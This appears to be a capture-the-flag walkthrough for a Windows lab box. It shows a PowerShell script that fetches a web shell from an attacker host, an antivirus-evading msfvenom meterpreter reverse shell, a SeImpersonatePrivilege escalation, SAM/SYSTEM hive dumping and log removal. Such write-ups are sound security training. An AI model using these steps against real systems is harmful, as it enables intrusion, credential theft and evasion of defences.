Ok, now as you can see a lot of open ports, but we will only focus on the 8080 port as that is the only way for initial access, unless you found something else.
Visiting the http://target:8080 presents us with the following page.
Since this is a windows server, we will upload a powershell file that will execute and download a web shell for us in C:\xampp\htdocs
You may choose any web shell, that you may like, my personal favorite is p0wny Shell.
Create a powershell script that will download the shell to htdocs directory.
getShell.ps1
# Specify the URL to download the file from$url ="http://YOUR_IP/shell.php"# Specify the local path to save the downloaded file$localPath ="C:\xampp\htdocs\shell.php"# Download the file and save it locallyInvoke-WebRequest-Uri $url -OutFile $localPath
Before we deliver it, start the server
python-mhttp.server80
Now upload our getShell.ps1 file! and wait for it to fetch our shell.php
Once done you can check the web shell at http://targetip:8080/shell.php
Weaponization
As you can see we have a local account access, now we can create a reverse shell payload, an encoded payload to avoid AV detection. But why, we already have a web shell? because....
TRUST ME BRO, TRUST THE PROCESS
Use the following command to generate a msfvenom payload. If you are using your own choice of encoder make sure it is x64.
Notice the encoder I am using with -e x64/zutto_dekiru
You may generate the commands from revshells.com, but make sure you are using encoders. This generates a rev.exe file for us. Before we deliver it to target, start the msfconsole listener.
msfconsole
msfconsole-q-x"use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost YOUR_IP; set lport YOUR_PORT; exploit"
Delivery
Once we are all done with the setup, use the web shell to deliver the payload and execute it to get the shell.
And you should receive the connection in no time.
You may check the uid first, check if its evader or not.
Then check what kind of privileges you have. Execute getprivs
Now if you notice carefully, we have a SeImpersonatePrivilege option which is enabled for us.
Exploitation ( Automatic )
I will divide the exploitation part, into 2 categories, one is automated with msfconsole and other one is manually exploiting the system.
Let's get started. The first is very simple, just execute : getsystem
And you should have admin access.
Disclaimer : Note that some users have reported, that this might be patched, it may or may not work for you but its worth at-least a try. 👍
Theory on why this one worked in the first place
I think since we are using an encoded agent, this avoids detection by AV, the payload might not be touching the disk at all but running in memory, to avoid getting flagged.
Exploitation ( Manual Method )
Once you have a web shell, enumerate the box to check if there is a .NET SDK compiler for us or not.
The next prerequisite is to check if you have SeImpersonatePrivilege enabled or not. use the following command.
whoami/priv
Ok now for the final showdown, we don't need a reverse shell, we will compile an exploit, locally on the system, and also another C sharp file that will execute the registry query to dump SAM/SYSTEM hive.
First lets download the exploit code on our machine.
Now upload both of the code on our target system using the web shell.
Now finally compile them using the following commands.
# For exploit.csC:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exeexploit.cs-nowarn:1691,618# For backup.csC:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exebackup.cs
Once done, execute them like following.
.\exploit.exebackup.exe
If you see backup successful, then all is well.
If you see the bak files being generated, lets get them.
The user flag is encoded in base64. Use the following command to decode.
# Download the flag on your own computer and use the following commandcatencodedflag|head-n-1|tail-n+2|base64-d
Remove the following log file
And then reload the endpoint again, to get the flag!
Get Admin Flag
Theory on why the manual method works
Few years ago, I wrote a simple c program to print hello world, I thought to myself, how can I publish it and share it with others. So I compiled it on my windows machine, and executed it. It worked without any issues. But as soon as I ran it on a different computer or even a VM. Defender/UAC kicked in and flagged it as malicious as it did not have any valid digital certificate. Imagine a simple hello world getting flagged by the AV.
It was not the same with a java program, I wrote a simple hello world, created a jar file, and executed on different machine, it worked without any issues. Since it ran via Java, a trusted binary it did not have any issues.
So in this room, when we are compiling an actual exploit and defender does not find it suspicious, because it thinks the user is not mad to break the system. Same with the backup.cs file as well. But if you compile the program without signing it with a valid digital certificate it might get flagged on a different machine. Even if its running a Windows 10 Home Edition. Now if you think there might be a different reason, please feel free to share with me.
Credits to my friends for helping me research on this room
